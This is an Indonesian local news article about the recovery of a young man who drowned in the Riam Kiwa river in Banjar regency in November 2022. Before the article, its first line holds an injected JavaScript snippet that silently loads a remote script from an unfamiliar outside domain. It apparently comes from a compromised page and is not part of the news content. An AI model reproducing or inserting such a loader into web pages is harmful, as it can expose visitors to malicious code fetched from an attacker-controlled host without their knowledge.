(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Lelaki Tenggelam di Sungai Riam Kiwa Ditemukan Mengapung, Sempat Makan Malam, Pamit Buang Hajat di Lanting

KANALKALIMANTAN.COM, MARTAPURA – Relawan gabungan akhirnya menemukan jasad Muhammad Aldi (22), warga Desa Lawiran RT 03, Kecamatan Simpang Empat, Kabupaten Banjar yang tenggelam di Sungai Riam Kiwa pada Jum’at (25/11/2022) dini hari.

Aldi ditemukan sudah tak bernyawa terlihat mengapung oleh relawan gabungan kurang lebih 100 meter dari titik awal tenggalam. Jasad Aldi ditemukan sekitar pukul 14.14 Wita, setelah dilakukan penyisiran selama kurang lebih 5 jam.

Tim pencarian dari Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar mengatakan korban ditemukan dalam keadaan mengapung dan langsung dievakuasi ke rumah duka di Desa Lawiran.

“Sekitar pukul 14.14 Wita ditemukan,” ungkap Fajar daru DPKP Kabupaten Banjar, Jum’at (25/11/2022) sore.

Sementara itu, Kapolsek Simpang Empat Ipda M Alhamidie mengatakan bahwa sebelum korban pergi ke sungai, korban sempat pulang ke rumah untuk makan.

Setelah makan itu pun korban langsung pergi ke lanting sungai dan berpamitan untuk buang hajat.

“Setelah selesai shalat isyaa sekitar pukul
21.00 Wita di Langgar Maslakul Khair naik ke rumah untuk makan, Setelah itu korban ke lanting sungai untuk buang air,” ungkap Kapolsek Simpang Empat Ipda M Alhamidie.

Namun, sambung Kapolsek, sekitar pukul 23.00 Wita, diketahui Aldi belum kembali ke rumah. Sang paman pun sudah mencoba mencari ke lanting, tapi hanya menemukan sepasang sandal milik korban.

“Hingga akhirnya saksi memberitahu orangtua korban dan warga, serta Polsek Simpang Empat untuk melakukan pencarian,” sambungnya.

Kini jenazah korban telah dibawa ke rumah duka di Desa Lawiran, Kecamatan Simpang Empat untuk kemudian dilakukan pemakaman.
(Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie